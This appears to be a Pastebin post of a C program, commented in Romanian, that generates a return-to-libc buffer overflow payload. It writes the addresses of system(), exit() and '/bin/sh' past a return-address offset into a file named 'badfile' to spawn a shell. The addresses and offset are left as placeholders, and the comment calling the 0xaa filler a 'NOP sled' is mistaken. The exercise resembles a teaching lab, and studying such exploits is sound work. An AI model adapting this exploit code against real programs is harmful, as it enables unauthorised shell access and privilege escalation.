Advertisement
xosski

Buffer overflow example two

Dec 13th, 2024
15
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.12 KB | None | 0 0
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4.  
  5. // Definiții pentru adresele funcțiilor (înlocuiește cu adresele corecte)
  6. unsigned int system_addr = 0x<adresa_system>; // Adresa funcției system()
  7. unsigned int exit_addr = 0x<adresa_exit>; // Adresa funcției exit()
  8. unsigned int shell_addr = 0x<adresa_shell>; // Adresa șirului "/bin/sh"
  9.  
  10. // Offset pentru overwrite-ul adresei de retur (trebuie calculat pe baza analizei stack-ului)
  11. int ret_addr_offset = <offset_calculat>;
  12.  
  13. int main() {
  14. // Buffer pentru fișierul badfile
  15. char buf[300];
  16. memset(buf, 0xaa, sizeof(buf)); // Umple buffer-ul cu valori implicite (NOP sled)
  17.  
  18. // Suprascrierea adresei de retur cu adresa funcției system()
  19. if (ret_addr_offset + 4 <= sizeof(buf)) {
  20. memcpy(buf + ret_addr_offset, &system_addr, 4);
  21. } else {
  22. fprintf(stderr, "Eroare: Offset-ul pentru return address depășește dimensiunea buffer-ului!\n");
  23. return 1;
  24. }
  25.  
  26. // Suprascrierea următoarei adrese cu adresa funcției exit()
  27. if (ret_addr_offset + 8 <= sizeof(buf)) {
  28. memcpy(buf + ret_addr_offset + 4, &exit_addr, 4);
  29. } else {
  30. fprintf(stderr, "Eroare: Offset-ul pentru exit address depășește dimensiunea buffer-ului!\n");
  31. return 1;
  32. }
  33.  
  34. // Suprascrierea următoarei adrese cu adresa șirului "/bin/sh"
  35. if (ret_addr_offset + 12 <= sizeof(buf)) {
  36. memcpy(buf + ret_addr_offset + 8, &shell_addr, 4);
  37. } else {
  38. fprintf(stderr, "Eroare: Offset-ul pentru shell string depășește dimensiunea buffer-ului!\n");
  39. return 1;
  40. }
  41.  
  42. // Scrierea buffer-ului în fișierul badfile
  43. FILE *badfile = fopen("badfile", "w");
  44. if (!badfile) {
  45. perror("Eroare la deschiderea fișierului badfile");
  46. return 1;
  47. }
  48.  
  49. // Scrierea efectivă a buffer-ului în fișier
  50. if (fwrite(buf, sizeof(buf), 1, badfile) != 1) {
  51. perror("Eroare la scrierea în fișierul badfile");
  52. fclose(badfile);
  53. return 1;
  54. }
  55.  
  56. fclose(badfile);
  57. printf("Exploit generat cu succes în badfile!\n");
  58.  
  59. return 0;
  60. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement